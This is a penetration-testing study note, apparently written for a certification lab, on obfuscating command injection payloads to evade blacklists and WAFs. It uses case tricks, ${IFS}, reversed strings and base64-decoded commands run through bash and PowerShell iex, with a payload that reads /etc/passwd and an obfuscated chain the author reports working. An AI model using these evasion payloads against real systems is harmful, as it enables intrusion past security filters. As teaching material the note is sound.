---
title: "5. Advanced command injection obfuscation"
date: 2024-12-05
draft: false
---

In some scenarios basic evasion techniques aren't enough. 

**Case manipulation**
- Inverting the character cases of a command like `WHOAMI` for example, or `wHoAmI`

Usually works if a blacklist does not check for different case variations of a single word, as linux systems are case-sensitive. 

In the case of windows, we can change casing of the characters of the command and send it - CMD and powershell are both case insensitive. 

In linux and bash shells, they are case-sensitive. We have to get creative and find a command that turns a command to all lowercase. 
One such command is below: 
`$(tr "[A-Z]" "[a-z]"<<<"WhOaMi"`

Using this with our host checker application you may still find the command is blocked. 
- This is likely because the command contains spaces! use ${IFS}
	- tabs (`%09` ) would also work here. 

Several other commands to do the same thing: 
`$(a="WhOaMi";printf %s "${a,,}")`

**Reversed commands**
Reversing commands and having a command template that switches them back + executes in realtime. 

`imaohw` instead of whoami 
We can get real creative, and create our own Linux/Windows commands that eventually execute the command without ever containing the actual words. 

`echo 'whoami' | rev` - create reversed string
`$(rev<<<'imaohw')`  - reverse it back in a subshell

The same applies in windows. 
`"whoami"[-1..-20] -join ''`  -> reverse string
`iex "$('imaohw'[-1..-20] -join '')"` execute reverse string with ps subshell 

**Encoded commands**

Helpful for commands containing filtered characters or characters that may be URL-decoded by the server. This may allow the command to get messed up by the time it reaches the shell for execution 
Instead of copying an existing command online, we will try our own unique obfuscation - this way it's much less likely to be denied by a filter or WAF. The command we create will be unique to each case depending on what characters are allowed and the level of security on the server. 

We can utilize various encoding tools like `base64` or `xxd` (for hex encoding) 
- take base64 for example, encode the payload you want to execute: 
```bash
echo -n 'cat /etc/passwd | grep 33' | base64  
```
Now create a command that will decode the encoded string in a subshell and pass it to bash to be executed. 
```bash
bash<<<$(base64 -d<<<BASE64_STRING==)
```

Above works great. We do not include any filtered characters and avoided encoded characters that may lead to command failing to execute. 
BTW: 
- we are using `<<<` to avoid using a `|` which is likely a filtered character. 

Even if some commands are filtered like bash or base64 we can bypass that filter too with the techniques discussed prior with character insertion or use alternatives like sh or openssl for b64 decoding, or xxd to hex decode. 

**Windows example**
`[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))` -> base64 encoding `whoami` 

Decode b64 string with powershell subshell -> `iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"` 


---
Translating this command: 
```bash
find /usr/share/ | grep root | grep mysql | tail -n 1
```

```bash
f'in'd${IFS}${PATH:0:1}usr${PATH:0:1}share${PATH:0:1}${IFS}<<<${IFS}grep${IFS}root${IFS}<<<g're'p${IFS}mysql<<<t'a'il${IFS}-n${IFS}1
```
this didnt work lol 

```bash
┌──(root㉿kali)-[~/cpts/file-upload]
└─# echo 'find /usr/share/ | grep root | grep mysql | tail -n 1' | base64
ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDEK
```

```bash
b'a'sh<<<$(base64${IFS}-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDEK)
```

this worked great! 
![](/img/Pasted image 20241205210545.png)
